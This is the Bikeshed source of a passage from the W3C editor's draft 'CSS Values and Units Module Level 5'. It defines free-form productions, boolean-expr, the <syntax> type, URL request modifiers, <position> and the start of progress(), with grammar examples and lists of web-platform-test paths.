<pre class='metadata'>
Title: CSS Values and Units Module Level 5
Group: CSSWG
Shortname: css-values
Level: 5
Status: ED
Work Status: Exploring
ED: https://drafts.csswg.org/css-values-5/
TR: https://www.w3.org/TR/css-values-5/
Editor: Tab Atkins, Google, http://xanthir.com/contact/, w3cid 42199
Editor: Elika J. Etemad / fantasai, Apple, http://fantasai.inkedblade.net/contact, w3cid 35400
Editor: Miriam E. Suzanne, Invited Expert, http://miriamsuzanne.com/contact, w3cid 117151
Abstract: This CSS module describes the common values and units that CSS properties accept and the syntax used for describing them in CSS property definitions.
Ignored Terms: <spacing-limit>, containing block, property, <wq-name>
Ignored Vars: Cn+1, n
Inline Github Issues: no
Default Highlight: css
Status Text: <strong>This spec is in the early exploration phase. Feedback is welcome, and and major breaking changes are expected.</strong>
Include MDN Panels: yes
WPT Path Prefix: css/css-values/
</pre>
<pre class='link-defaults'>
spec:css-color-4; type:property; text:color
spec:css-values-4; type: dfn;
	text: determine the type of a calculation
	text: keyword
	text: identifier
spec:selectors-4; type: dfn; text: selector
spec:css-conditional-5;
	type:type;
		text:<size-feature>
		text:<container-name>
		text:<style-query>
	type:dfn; text:container feature
	type:at-rule; text:@container
spec:css-mixins-1; type:dfn; text:custom function
spec:css-properties-values-api; type:dfn; text: supported syntax component names
spec:html; type:element; text:link
spec:infra; type:dfn;
	text:list
	text:user agent
</pre>
<style>
code, small { white-space: nowrap }
pre.value { font: inherit; white-space: pre-wrap; margin: 0; padding: 0; }
#propvalues td { text-align: right; }
#propvalues td + td { text-align: left; }
dt + dt::before { content: ", "; }
dl:not(.switch) dt { display: inline; }
td > small { display: block; }
</style>
<style>
/* Put nice boxes around each algorithm. */
[data-algorithm]:not(.heading) {
	padding: .5em;
	border: thin solid #ddd; border-radius: .5em;
	margin: .5em calc(-0.5em - 1px);
}
[data-algorithm]:not(.heading) > :first-child {
	margin-top: 0;
}
[data-algorithm]:not(.heading) > :last-child {
	margin-bottom: 0;
}
[data-algorithm] [data-algorithm] {
	margin: 1em 0;
}
</style>

<h2 id="intro">
Introduction</h2>

	ISSUE: <strong>This is a diff spec against <a href="https://www.w3.org/TR/css-values-4/">CSS Values and Units Level 4</a>.</strong>

<h3 id="placement">
Module Interactions</h3>

	This module extends [[CSS-VALUES-4]]
	which replaces and extends the data type definitions in [[!CSS21]] sections
	<a href="https://www.w3.org/TR/CSS21/about.html#value-defs">1.4.2.1</a>,
	<a href="https://www.w3.org/TR/CSS21/syndata.html#values">4.3</a>,
	and <a href="https://www.w3.org/TR/CSS21/aural.html#aural-intro">A.2</a>.

<h2 id="textual-values">
Textual Data Types</h2>

	See [[css-values-4#textual-values]].


<!-- Big Text: syntax

 ███▌  █   ▐▌ █    █▌ █████▌  ███▌  █     █
█▌  █▌ ▐▌  █  █▌   █▌   █▌   ▐█ ▐█   █   █
█▌      █ ▐▌  ██▌  █▌   █▌   █▌  █▌   █ █
 ███▌   ▐▌█   █▌▐█ █▌   █▌   █▌  █▌    █
    █▌   █▌   █▌  ██▌   █▌   █████▌   █ █
█▌  █▌   █▌   █▌   █▌   █▌   █▌  █▌  █   █
 ███▌    █▌   █▌   ▐▌   █▌   █▌  █▌ █     █
-->

<h2 id=value-defs>
Value Definition Syntax</h2>

	See [[css-values-4#value-defs]].

	Additionally,

	<ol>
		<li value=5>Boolean combinations of a conditional notation.
			These are written using the <<boolean-expr[]>> notation,
			and represent recursive expressions of boolean logic
			using keywords and parentheses,
			applied to the grammar specified in brackets,
			e.g. <<boolean-expr[ ( &lt;media-feature&gt; ) ]>> to express [=media queries=].
	</ol>

<h3 id=component-functions>
Functional Notation Definitions</h3>

	See [[css-values-4#component-functions]].

<h4 id=component-function-commas>
Commas in Function Arguments</h4>

	[=Functional notation=] often uses commas
	to separate parts of its internal grammar,
	and occasionally other syntax
	(such as <code>:</code> or <code>;</code> in ''if()'').
	However, some functions
	(such as ''mix()'')
	allow values that, themselves,
	could contain these argument-separating tokens.
	These values
	(currently <<whole-value>>, <<declaration-value>>, and <<any-value>>)
	are <dfn export>free-form productions</dfn>.

	To accommodate these sorts of grammars unambiguously,
	the [=free-form productions=] can be optionally wrapped in curly braces {}.
	These braces are syntactic, not part of the actual value,
	and only serve to explicitly indicate the bounds of the production.
	A [=free-form production=] can either
	(after optional whitespace)
	start with a <<{-token>>, or not:

	: If it does not start with a "{" token
	::
		The production does not match any top-level commas or {} blocks.
		(The production stops parsing at that point,
		so the comma or {} block is matched by the next grammar term instead;
		probably the function's own argument-separating comma.)
		Individual usages of the production can define additional tokens
		that are similarly restricted from matching at the top-level.
	: If it does start with a "{" token
	::
		The production matches just the {} block that the "{" token opens.
		It represents the <em>contents</em> of that block,
		ignoring the {} block wrapper itself.

	Note: General restrictions defined for a particular [=free-form production=],
	like <<declaration-value>> not matching <<semicolon-token>>s,
	apply regardless of whether it's {}-wrapped or not.

	<div class="example">
		For example, the grammar of the ''random-item()'' function is:

		<pre>
			random-item( <<random-key>>, [<<declaration-value>>?]# )
		</pre>

		The ''#'' indicates comma-separated repetitions,
		so randomly choosing between three keywords
		would be written as normal for functions,
		like:

		<pre>
			font-family: random-item(--x, serif, sans-serif, monospace);
		</pre>

		However, sometimes the values you want to choose between
		need to include commas.
		When this is the case,
		wrapping the values in {}
		allows their commas to be distinguished
		from the function's argument-separating commas:

		<pre>
			font-family: random-item(--x, {Times, serif}, {Arial, sans-serif}, {Courier, monospace});
		</pre>

		This randomly chooses one of three font-family lists:
		either ''Times, serif'', or ''Arial, sans-serif'', or ''Courier, monospace''.

		This is not all-or-nothing;
		you can use {} around <em>some</em> arguments that need it,
		while leaving others bare when they don't need it.
		You are also allowed to use {} around a value when it's not strictly required.
		For example:

		<pre>
			font-family: random-item(--x, {Times, serif}, sans-serif, {monospace});
		</pre>

		This represents choosing between three font-family lists:
		either ''Times, serif'', or ''sans-serif'', or ''monospace''.

		However, this {}-wrapping is <em>only</em> allowed for some function arguments--
		those defined as [=free-form productions=].
		It's not valid for any other productions;
		if you use {} around other function arguments,
		it'll just fail to match the function's grammar
		and become invalid.
		For example, the following is <strong>invalid</strong>:

		<pre>
			background-image: linear-gradient(to left, {red}, magenta);
		</pre>
	</div>

	Note: Because {} wrappers are allowed even when not explicitly required,
	they can be used defensively around values
	when the author isn't sure if they'll end up containing commas or not,
	due to [=arbitrary substitution functions=] like ''var()''.
	For example, <l property>''font-family: random-item(--x, {var(--list1)}, monospace)''</l>
	will work correctly
	regardless of whether the ''--list1'' custom property
	contains a comma-separated list or not.

	[=Functional notations=] are serialized without {} wrappers whenever possible.

	The following generic productions are [=free-form productions=]:

	* <<any-value>>
	* <<whole-value>>
	* <<declaration-value>>

	For legacy compat reasons,
	the <<declaration-value>> defined for the fallback value of ''var()''
	is a <dfn export>non-strict free-form production</dfn>.
	It ignores the rules restricting what it can contain
	when it does not start with a "{" token:
	it is allowed to contain commas and {} blocks.
	It still follows the standard [=free-form production=] rules
	when it <em>does</em> start with a "{" token, however:
	the fallback is just the contents of the {} block,
	and doesn't include the {} wrapper itself.

	Other contexts <em>may</em> define that they use [=non-strict free-form productions=],
	but it <em>should</em> be avoided unless necessary.

<h3 id=boolean>
Boolean Expression Multiplier <<boolean-expr[]>></h3>

	Several contexts
	(such as ''@media'', ''@supports'', ''if()'', ...)
	specify conditions,
	and allow combining those conditions with boolean logic (and/or/not/grouping).
	Because they use the same non-trivial recursive syntax structure,
	the special <dfn type><<boolean-expr>></dfn> production represents this pattern generically.

	The <<boolean-expr[]>> notation wraps another value type in the square brackets within it,
	e.g. &lt;boolean[ &lt;test&gt; ]&gt;,
	and represents that value type alone as well as
	boolean combinations
	using the ''not'', ''and'', and ''or'' keywords
	and grouping parenthesis.
	It is formally equivalent to:

	<xmp class=prod>
		<boolean-expr[ <test> ]> = not <boolean-expr-group> | <boolean-expr-group>
		                                            [ [ and <boolean-expr-group> ]*
		                                            | [ or <boolean-expr-group> ]* ]

		<boolean-expr-group> = <test> | ( <boolean-expr[ <test> ]> ) | <general-enclosed>
	</xmp>

	The <<boolean-expr[]>> production represents a true, false, or unknown value.
	Its value is resolved using 3-value Kleene logic,
	with top-level unknown values
	(those not directly nested inside the grammar of another <<boolean-expr[]>>)
	resolving to false unless otherwise specified;
	see [[#boolean-logic]] for details.

	<div class=example>
		For example, the ''@container'' rule allows a wide variety of tests:
		including size queries, style queries, and scroll-state queries.
		All of these are arbitrarily combinable with boolean logic.
		Using <<boolean-expr[]>>, the grammar for an ''@container'' query
		could be written as:

		<xmp class=prod>
			<container-query> = <boolean-expr[ <cq-test> ]>
			<cq-test> = (<size-query>) | style( <style-query> ) | scroll-state( <scroll-state-query> )
			<size-query> = <boolean-expr[ ( <size-feature> ) ]> | <size-feature>
			<style-query> = <boolean-expr[ ( <style-feature> ) ]> | <style-feature>
			<scroll-state-query> = <boolean-expr[ ( <scroll-state-feature> ) ]> | <scroll-state-feature>
		</xmp>
	</div>

	The <<general-enclosed>> branch of the logic allows for future compatibility--
	unless otherwise specified new expressions in an older UA
	will be parsed and considered “unknown”,
	rather than invalidating the production.
	For consistency with that allowance,
	the <css>&lt;test></css> term in a <<boolean-expr[]>>
	should be defined to match <<general-enclosed>>.

<h3 id=css-syntax>
Specifying CSS Syntax in CSS: the <<syntax>> type</h3>

Some features in CSS,
such as the ''attr()'' function
or [=registered custom properties=],
allow you to specify how <em>another</em> value is meant to be parsed.
This is declared via the <<syntax>> production,
which resembles a limited form of the CSS [=value definition syntax=]
used in specifications to define CSS features,
and which represents a [=syntax definition=]:

<pre class="prod def" nohighlight>
	<dfn><<syntax>></dfn> = '*' | <<syntax-component>> [ <<syntax-combinator>> <<syntax-component>> ]* | <<syntax-string>>
	<dfn><<syntax-component>></dfn> = <<syntax-single-component>> <<syntax-multiplier>>?
	                   | '<' transform-list '>'
	<dfn><<syntax-single-component>></dfn> = '<' <<syntax-type-name>> '>' | <<ident>>
	<dfn><<syntax-type-name>></dfn> = angle | color | custom-ident | image | integer
	                   | length | length-percentage | number
	                   | percentage | resolution | string | time
	                   | url | transform-function
	<dfn><<syntax-combinator>></dfn> = '|'
	<dfn><<syntax-multiplier>></dfn> = [ '#' | '+' ]

	<dfn><<syntax-string>></dfn> = <<string>>
</pre>

A <<syntax-component>> consists of either
a <<syntax-type-name>> between &lt;&gt; (angle brackets),
which maps to one of the [=supported syntax component names=],
or an <<ident>>, which represents any [=keyword=].
Additionally,
a <<syntax-component>> may contain a [[css-properties-values-api-1#multipliers|multiplier]],
which indicates a [=list=] of values.

Note: This means that <code>&lt;length&gt;</code>
	and <code>length</code> are two different types:
	the former describes a <<length>>,
	whereas the latter describes a [=keyword=] <code>length</code>.

Multiple <<syntax-component>>s may be [[css-properties-values-api-1#combinator|combined]]
with a <code>|</code> <<delim-token>>,
causing the syntax components to be matched
against a value
in the specified order.

<div class='example'>
	<xmp class='lang-css'>
		<percentage> | <number> | auto
	</xmp>

	The above, when parsed as a <<syntax>>,
	would accept <<percentage>> values,
	<<number>> values,
	as well as the keyword <code>auto</code>.
</div>

<div class='example'>
	<xmp class='lang-css'>
	red | <color>
	</xmp>

	The [=syntax definition=] resulting from the above <<syntax>>,
	when used as a grammar for [=parse|parsing=],
	would match an input <code>red</code> as an [=identifier=],
	but would match an input <code>blue</code> as a <<color>>.
</div>

The <code>*</code> <<delim-token>> represents the [=universal syntax definition=].

The <code>&lt;transform-list&gt;</code> production
is a convenience form equivalent to <code>&lt;transform-function&gt;+</code>.
<span class=note>Note that <code>&lt;transform-list&gt;</code> may not
	be followed by a <<syntax-multiplier>>.</span>

[=Whitespace=] is not allowed
between the angle bracket <<delim-token>>s (<code>&lt;</code> <code>&gt;</code>)
and the <<syntax-type-name>> they enclose,
nor is [=whitespace=] allowed to precede a <<syntax-multiplier>>.

Note: The [=whitespace=] restrictions also apply to <code>&lt;transform-list&gt;</code>.

A <<syntax-string>> is a <<string>>
whose value successfully [=CSS/parses=] as a <<syntax>>,
and represents the same value as that <<syntax>> would.

Note: <<syntax-string>> mostly exists for historical purposes;
before <<syntax>> was defined,
the ''@property'' rule used a <<string>> for this purpose.

<h4 id=parse-syntax>
Parsing as <<syntax>></h4>

The purpose of a <<syntax>>
is usually to specify how to parse another value
(such as the value of a [=registered custom property=],
or an attribute value in ''attr()'').
However, the generic [=CSS/parse something according to a CSS grammar=] algorithm
returns an unspecified internal structure,
since parse results might be ambiguous
and need further massaging.

To avoid these issues and get a well-defined result,
use [=parse with a <syntax>=]:

<div algorithm>
	To <dfn export>parse with a <<syntax>></dfn>
	given a [=string=] or [=list=] or [=CSS/component values=] |values|,
	a <<syntax>> value |syntax|,
	and optionally an element |el| for context,
	perform the following steps.
	It returns either CSS values,
	or the [=guaranteed-invalid value=].

	1. [=Parse a list of component values=] from |values|,
		and let |raw parse| be the result.

	2. If |el| was given,
		[=substitute arbitrary substitution functions=] in |raw parse|,
		and set |raw parse| to that result.

	3. [=CSS/parse=] |values| according to |syntax|,
		with a ''*'' value treated as <code><<declaration-value>>?</code>,
		and let |parsed result| be the result.
		If |syntax| used a ''|'' combinator,
		let |parsed result| be the parse result from the first matching clause.

	4. If |parsed result| is failure,
		return the [=guaranteed-invalid value=].

	5. Assert: |parsed result| is now a well-defined list of one or more CSS values,
		since each branch of a <<syntax>> defines an unambiguous parse result
		(or the ''*'' syntax is unambiguous on its own).

	6. Return |parsed result|.
</div>

Note: This algorithm does not resolved the parsed values
into [=computed values=];
the context in which the value is used will usually do that already,
but if not,
the invoking algorithm will need to handle that on its own.



<h2 id="level-4-extensions">
Extensions to Level 4 Value Types</h2>

	See <a href="https://www.w3.org/TR/css-values-4/">CSS Values and Units Level 4</a>.

<!-- Big Text: url

█▌  █▌ ████▌  █▌
█▌  █▌ █▌  █▌ █▌
█▌  █▌ █▌  █▌ █▌
█▌  █▌ ████▌  █▌
█▌  █▌ █▌▐█   █▌
█▌  █▌ █▌ ▐█  █▌
 ███▌  █▌  █▌ █████
-->

<h3 id="urls">
Resource Locators: the <<url>> type</h3>

	See [[css-values-4#urls]].

<wpt>
urls/empty.html
urls/fragment-only.html
urls/resolve-relative-to-base.sub.html
urls/resolve-relative-to-stylesheet.html
inline-cache-base-uri-cssom.html
inline-cache-base-uri.html
</wpt>

<h4 id='request-url-modifiers'>
Request URL Modifiers</h4>

	<dfn><<request-url-modifier>></dfn>s are <<url-modifier>>s
	that affect the <<url>>’s resource [=/request=]
	by applying associated [=URL request modifier steps=].
	See [[css-values-4#url-processing]].

	This specification defines the following <<request-url-modifier>>s:

	<pre class=prod>
		<<request-url-modifier>> = <<cross-origin-modifier>> | <<integrity-modifier>> | <<referrer-policy-modifier>>
		<<cross-origin-modifier>> = cross-origin(anonymous | use-credentials)
		<<integrity-modifier>> = integrity(<<string>>)
		<<referrer-policy-modifier>> = referrer-policy(no-referrer | no-referrer-when-downgrade | same-origin | origin | strict-origin | origin-when-cross-origin | strict-origin-when-cross-origin | unsafe-url)
	</pre>

	<dl dfn-for="<request-url-modifier>">
		<dt><dfn><<cross-origin-modifier>></dfn> = <dfn function lt="cross-origin()">cross-origin</dfn>(<dfn value>anonymous</dfn> | <dfn value>use-credentials</dfn>)
		<dd>
			The [=URL request modifier steps=] for this modifier given [=/request=] |req| are:

			1. Set |req|'s [=request/mode=] to "cors".

			2. If the given value is ''use-credentials'',
				set |req|'s [=request/credentials mode=] to "include".

			3. Otherwise, set |req|'s [=request/credentials mode=] to "same-origin".

		<dt><dfn><<integrity-modifier>></dfn> = <dfn function lt="integrity()">integrity</dfn>(<<string>>)
		<dd>
			The [=URL request modifier steps=] for this modifier given [=/request=] |req|
			are to set [=/request=]'s [=request/integrity metadata=]
			to the given <<string>>.

		<dt><dfn><<referrer-policy-modifier>></dfn> = <dfn function lt="referrer-policy()">referrer-policy</dfn>(<dfn value>no-referrer</dfn> | <dfn value>no-referrer-when-downgrade</dfn> | <dfn value>same-origin</dfn> | <dfn value>origin</dfn> | <dfn value>strict-origin</dfn> | <dfn value>origin-when-cross-origin</dfn> | <dfn value>strict-origin-when-cross-origin</dfn> | <dfn value>unsafe-url</dfn>)
		<dd>
			The [=URL request modifier steps=] for this modifier given [=/request=] |req|
			are to set [=/request=]'s [=request/referrer policy=]
			to the {{ReferrerPolicy}} that matches the given value.
	</dl>

	<div algorithm>
		To <dfn export>apply request modifiers from URL value</dfn>
		given a [=/request=] |req|
		and a <<url>> |url|,
		call the [=URL request modifier steps=] for |url|'s <<request-url-modifier>>s in sequence
		given |req|.
	</div>

<wpt>
urls/cross-origin/url-font-cross-origin-anonymous-negative.sub.html
urls/cross-origin/url-font-cross-origin-anonymous.sub.html
urls/cross-origin/url-font-cross-origin-use-credentials-negative.sub.html
urls/cross-origin/url-font-cross-origin-use-credentials.sub.html
urls/cross-origin/url-image-cross-origin-anonymous-negative.sub.html
urls/cross-origin/url-image-cross-origin-anonymous.sub.html
urls/cross-origin/url-image-cross-origin-use-credentials-negative.sub.html
urls/cross-origin/url-image-cross-origin-use-credentials.sub.html
urls/cross-origin/url-image-set-cross-origin-anonymous-negative.sub.html
urls/cross-origin/url-image-set-cross-origin-anonymous.sub.html
urls/cross-origin/url-import-cross-origin-anonymous-negative.sub.html
urls/cross-origin/url-import-cross-origin-anonymous.sub.html
urls/cross-origin/url-import-cross-origin-use-credentials-negative.sub.html
urls/cross-origin/url-import-cross-origin-use-credentials.sub.html
urls/cross-origin/url-svg-filter-cross-origin-anonymous-negative.sub.html
urls/cross-origin/url-svg-filter-cross-origin-anonymous.sub.html
urls/cross-origin/url-svg-filter-cross-origin-use-credentials-negative.sub.html
urls/cross-origin/url-svg-filter-cross-origin-use-credentials.sub.html
urls/integrity/url-font-integrity-negative.sub.html
urls/integrity/url-font-integrity.sub.html
urls/integrity/url-image-integrity-negative.sub.html
urls/integrity/url-image-integrity.sub.html
urls/integrity/url-import-integrity-negative.sub.html
urls/integrity/url-import-integrity.sub.html
urls/integrity/url-svg-filter-integrity-negative.sub.html
urls/integrity/url-svg-filter-integrity.sub.html
urls/referrer-policy/no-referrer-when-downgrade/url-image-referrer-policy-cross-origin.html
urls/referrer-policy/no-referrer-when-downgrade/url-image-referrer-policy-same-origin.html
urls/referrer-policy/no-referrer/url-font-referrer-policy.sub.html
urls/referrer-policy/no-referrer/url-image-referrer-policy-cross-origin.html
urls/referrer-policy/no-referrer/url-image-referrer-policy-external-stylesheet.html
urls/referrer-policy/no-referrer/url-image-referrer-policy-same-origin.html
urls/referrer-policy/no-referrer/url-image-set-referrer-policy.sub.html
urls/referrer-policy/no-referrer/url-import-referrer-policy.html
urls/referrer-policy/no-referrer/url-svg-filter-referrer-policy.sub.html
urls/referrer-policy/origin-when-cross-origin/url-image-referrer-policy-cross-origin.html
urls/referrer-policy/origin-when-cross-origin/url-image-referrer-policy-same-origin.html
urls/referrer-policy/origin/url-image-referrer-policy-cross-origin.html
urls/referrer-policy/origin/url-image-referrer-policy-external-stylesheet.html
urls/referrer-policy/origin/url-image-referrer-policy-same-origin.html
urls/referrer-policy/same-origin/url-image-referrer-policy-cross-origin.html
urls/referrer-policy/same-origin/url-image-referrer-policy-same-origin.html
urls/referrer-policy/strict-origin-when-cross-origin/url-image-referrer-policy-cross-origin.html
urls/referrer-policy/strict-origin-when-cross-origin/url-image-referrer-policy-same-origin.html
urls/referrer-policy/strict-origin/url-image-referrer-policy-cross-origin.html
urls/referrer-policy/strict-origin/url-image-referrer-policy-same-origin.html
urls/referrer-policy/unsafe-url/url-image-referrer-policy-cross-origin.html
urls/referrer-policy/unsafe-url/url-image-referrer-policy-external-stylesheet.html
urls/referrer-policy/unsafe-url/url-image-referrer-policy-same-origin.html
urls/url-request-modifiers-computed.sub.html
urls/url-request-modifiers-font-face-parsing.html
urls/url-request-modifiers-import-parsing.sub.html
urls/url-request-modifiers-invalid.sub.html
urls/url-request-modifiers-serialize.sub.html
</wpt>


<!-- Big Text: position

████▌   ███▌   ███▌  ████ █████▌ ████  ███▌  █    █▌
█▌  █▌ █▌  █▌ █▌  █▌  ▐▌    █▌    ▐▌  █▌  █▌ █▌   █▌
█▌  █▌ █▌  █▌ █▌      ▐▌    █▌    ▐▌  █▌  █▌ ██▌  █▌
████▌  █▌  █▌  ███▌   ▐▌    █▌    ▐▌  █▌  █▌ █▌▐█ █▌
█▌     █▌  █▌     █▌  ▐▌    █▌    ▐▌  █▌  █▌ █▌  ██▌
█▌     █▌  █▌ █▌  █▌  ▐▌    █▌    ▐▌  █▌  █▌ █▌   █▌
█▌      ███▌   ███▌  ████   █▌   ████  ███▌  █▌   ▐▌
-->

<h3 id="position">
2D Positioning: the <<position>> type</h3>

	The <dfn><<position>></dfn> value specifies the position
	of an [=alignment subject=] (e.g. a background image)
	inside an [=alignment container=] (e.g. its [=background positioning area=])
	as a pair of offsets between the specified edges
	(defaulting to the left and top).
	Its syntax is:

	<pre class=prod>
	<<position>> = <<position-one>> | <<position-two>> | <<position-four>>
	<dfn><<position-one>></dfn> = [
	  left | center | right | top | bottom |
	  x-start | x-end | y-start | y-end |
	  block-start | block-end | inline-start | inline-end |
	  <<length-percentage>>
	]
	<dfn><<position-two>></dfn> = [
	  [ left | center | right | x-start | x-end ] &&
	  [ top | center | bottom | y-start | y-end ]
	|
	  [ left | center | right | x-start | x-end | <<length-percentage>> ]
	  [ top | center | bottom | y-start | y-end | <<length-percentage>> ]
	|
	  [ block-start | center | block-end ] &&
	  [ inline-start | center | inline-end ]
	|
	  [ start | center | end ]{2}
	]
	<dfn><<position-four>></dfn> = [
	  [ [ left | right | x-start | x-end ] <<length-percentage>> ] &&
	  [ [ top | bottom | y-start | y-end ] <<length-percentage>> ]
	|
	  [ [ block-start | block-end ] <<length-percentage>> ] &&
	  [ [ inline-start | inline-end ] <<length-percentage>> ]
	|
	  [ [ start | end ] <<length-percentage>> ]{2}
	]
	</pre>

	If only one value is specified (<<position-one>>),
	the second value is assumed to be ''center''.

	If two values are given (<<position-two>>),
	a <<length-percentage>> as the first value represents
	the horizontal position as the offset between
	the left edges of the [=alignment subject=] and [=alignment container=],
	and a <<length-percentage>> as the second value represents
	the vertical position as an offset between their top edges.

	If both keywords are one of ''<position>/start'' or ''<position>/end'',
	the first one represents the [=block axis=]
	and the second the [=inline axis=].

	Note: A pair of axis-specific keywords can be reordered,
	while a combination of keyword and length or percentage cannot.
	So ''center left'' or ''inline-start block-end'' is valid,
	while ''50% left'' is not.
	''<position>/start'' and ''<position>/end'' aren't axis-specific,
	so ''start end'' and ''end start'' represent two different positions.

	If four values are given (<<position-four>>)
	then each <<length-percentage>> represents an offset between
	the edges specified by the preceding keyword.
	For example, ''background-position: bottom 10px right 20px''
	represents a ''10px'' vertical offset up from the bottom edge
	and a ''20px'' horizontal offset leftward from the right edge.

	Positive values represent an offset <em>inward</em>
	from the edge of the [=alignment container=].
	Negative values represent an offset <em>outward</em>
	from the edge of the [=alignment container=].

	<div class="example">
		The following declarations give the stated (horizontal, vertical)
		offsets from the top left corner:
		<pre>
			background-position: left 10px top 15px;   /* 10px, 15px */
			background-position: left      top     ;   /*  0px,  0px */
			background-position:      10px     15px;   /* 10px, 15px */
			background-position: left          15px;   /*  0px, 15px */
			background-position:      10px top     ;   /* 10px,  0px */
		</pre>
	</div>

	<div class=example>
		<<position>>s can also be relative to other corners than the top left.
		For example, the following puts the background image
		10px from the bottom and 3em from the right:

		<pre>background-position: right 3em bottom 10px</pre>
	</div>

	The [=computed value=] of a <<position>> is
	a pair of offsets (horizontal and vertical),
	each given as a computed <<length-percentage>> value,
	representing the distance between the left edges and top edges (respectively)
	of the [=alignment subject=] and [=alignment container=].

	<dl dfn-for="<position>" dfn-type=value>
		<dt><dfn><<length-percentage>></dfn>
		<dd>
			A <<length-percentage>> value specifies the size of the offset
			between the specified edges of the [=alignment subject=] and [=alignment container=].

			For example, for ''background-position: 2cm 1cm'',
			the top left corner of the background image is placed
			2cm to the right and 1cm below
			the top left corner of the [=background positioning area=].

			A <<percentage>> for the horizontal offset is relative to
			(<var ignore>width of [=alignment container=]</var> - <var ignore>width of [=alignment subject=]</var>).
			A <<percentage>> for the vertical offset is relative to
			(<var ignore>height of [=alignment container=]</var> - <var ignore>height of [=alignment subject=]</var>).

			<div class=example>
				For example, with a value pair of ''0% 0%'',
				the upper left corner of the [=alignment subject=] is aligned with
				the upper left corner of the [=alignment container=]
				A value pair of ''100% 100%'' places
				the lower right corner of the [=alignment subject=]
				in the lower right corner of the [=alignment container=].
				With a value pair of ''75% 50%'',
				the point 75% across and 50% down the [=alignment subject=]
				is to be placed at the point 75% across and 50% down the [=alignment container=].
				<figure>
					<img src="images/bg-pos.png" width="397" height="269"
					     alt="Diagram of image position within element"
					>
					<figcaption>
					    Diagram of the meaning of ''background-position: 75% 50%''.
					</figcaption>
				</figure>
			</div>

		<dt><dfn>top</dfn>
		<dt><dfn>right</dfn>
		<dt><dfn>bottom</dfn>
		<dt><dfn>left</dfn>
		<dd>
			Offsets the top/left/right/bottom edges (respectively)
			of the [=alignment subject=] and [=alignment container=]
			by the specified amount (defaulting to ''0%'')
			in the corresponding axis.

		<dt><dfn>y-start</dfn>
		<dt><dfn>y-end</dfn>
		<dt><dfn>x-start</dfn>
		<dt><dfn>x-end</dfn>
		<dd>
			Computes the same as the physical edge keyword
			corresponding to the [=start=]/[=end=] side
			in the [=y-axis|y=]/[=x-axis|x=] axis.

		<dt><dfn>block-start</dfn>
		<dt><dfn>block-end</dfn>
		<dt><dfn>inline-start</dfn>
		<dt><dfn>inline-end</dfn>
		<dd>
			Computes the same as the physical edge keyword
			corresponding to the [=start=]/[=end=] side
			in the [=block axis|block=]/[=inline axis|inline=] axis.

		<dt><dfn>center</dfn>
		<dd>
			Computes to a ''50%'' offset in the corresponding axis.
		</dl>

	Unless otherwise specified, the [=flow-relative=] keywords are resolved
	according to the [=writing mode=] of the element on which the value is specified.

	Note: The 'background-position' property also accepts a three-value syntax.
	This has been disallowed generically because it creates parsing ambiguities
	when combined with other length or percentage components in a property value.

	ISSUE(9690): Need to define how this syntax would expand to the longhands of 'background-position'
	if e.g. ''var()'' is used for some (or all) of the components.

<h4 id="position-parsing">
Parsing <<position>></h4>

	When specified in a grammar alongside other keywords, <<length>>s, or <<percentage>>s,
	<<position>> is <em>greedily</em> parsed;
	it consumes as many components as possible.

	<div class=example>
		For example,
		'transform-origin' defines a 3D position
		as (effectively) ''<<position>> <<length>>?''.
		A value such as ''left 50px''
		will be parsed as a 2-value <<position>>,
		with an omitted z-component;
		on the other hand,
		a value such as ''top 50px''
		will be parsed as a single-value <<position>>
		followed by a <<length>>.
	</div>

<h4 id="position-serialization">
Serializing <<position>></h4>

	When serializing the [=specified value=] of a <<position>>:

	<dl class=switch>
		<dt>If only one component is specified:
		<dd>
			* The implied <a value spec="css-backgrounds-3">center</a> keyword is added,
				and a 2-component value is serialized.

		<dt>If two components are specified:
		<dd>
			* Keywords are serialized as keywords.
			* <<length-percentage>>s are serialized as <<length-percentage>>s.
			* Components are serialized horizontal first, then vertical.

		<dt>If four components are specified:
		<dd>
			* Keywords and offsets are both serialized.
			* Components are serialized horizontal first, then vertical;
				alternatively [=block-axis=] first, then [=inline-axis=].
	</dl>

	Note: <<position>> values are never serialized as a single value,
	even when a single value would produce the same behavior,
	to avoid causing parsing ambiguities in some grammars
	where a <<position>> is placed next to a <<length>>,
	such as 'transform-origin'.

	The [=computed value=] of a <<position>>
	is serialized as a pair of <<length-percentage>>s
	representing offsets from the left and top edges, in that order.

<h4 id="combine-positions">
Combination of <<position>></h4>

	<l spec=css-values-4>[=Interpolation=]</l> of <<position>> is defined as
	the independent interpolation of each component (x, y)
	normalized as an offset from the top left corner
	as a <<length-percentage>>.

	<l spec=css-values-4>[=value addition|Addition=]</l> of <<position>> is likewise defined as
	the independent <l spec=css-values-4>[=value addition|addition=]</l> each component (x, y)
	normalized as an offset from the top left corner
	as a <<length-percentage>>.


<!-- Big Text: progress

████▌  ████▌   ███▌   ███▌  ████▌  █████▌  ███▌   ███▌
█▌  █▌ █▌  █▌ █▌  █▌ █▌  █▌ █▌  █▌ █▌     █▌  █▌ █▌  █▌
█▌  █▌ █▌  █▌ █▌  █▌ █▌     █▌  █▌ █▌     █▌     █▌
████▌  ████▌  █▌  █▌ █▌ ██▌ ████▌  ████    ███▌   ███▌
█▌     █▌▐█   █▌  █▌ █▌  █▌ █▌▐█   █▌         █▌     █▌
█▌     █▌ ▐█  █▌  █▌ █▌  █▌ █▌ ▐█  █▌     █▌  █▌ █▌  █▌
█▌     █▌  █▌  ███▌   ███▌  █▌  █▌ █████▌  ███▌   ███▌
-->

<h2 id="progress" oldids="progress-func">
Interpolation Progress Calculations: the ''progress()'' notation</h2>

<wpt>
progress-computed.html
progress-invalid.html
progress-serialize.html
</wpt>

	The <dfn>progress()</dfn> [=functional notation=]
	represents the proportional distance
	of a given value (the <dfn noexport>progress value</dfn>)
	from one value (the <dfn noexport>progress start value</dfn>)
	to another value (the <dfn noexport>progress end value</dfn>),
	each represented as a [=calculation=].
	It is a [=math function=],
	and can be input into other calculations
	such as a [=math function=]
	or a [=mix notation=].
	The syntax of ''progress()'' is:

	<pre class=prod>
		<<progress()>> = progress(no-clamp? <<calc-sum>>, <<calc-sum>>, <<calc-sum>>)
	</pre>

	where the first, second, and third <<calc-sum>> values represent
	the [=progress value=], [=progress start value=], and [=progress end value=],
	respectively.

	If <dfn value for="progress()">no-clamp</dfn> is present,
	the ''progress()'' function can potentially resolve to any number;
	if omitted (the default), 
	the return value is clamped to the range [0, 1].

	The argument [=calculations=] can resolve to any <<number>>, <<dimension>>, or <<percentage>>,
	but must have a [=consistent type=]
	or else the function is invalid.

	<div algorithm>
		The result of ''progress()'' is a <<number>>
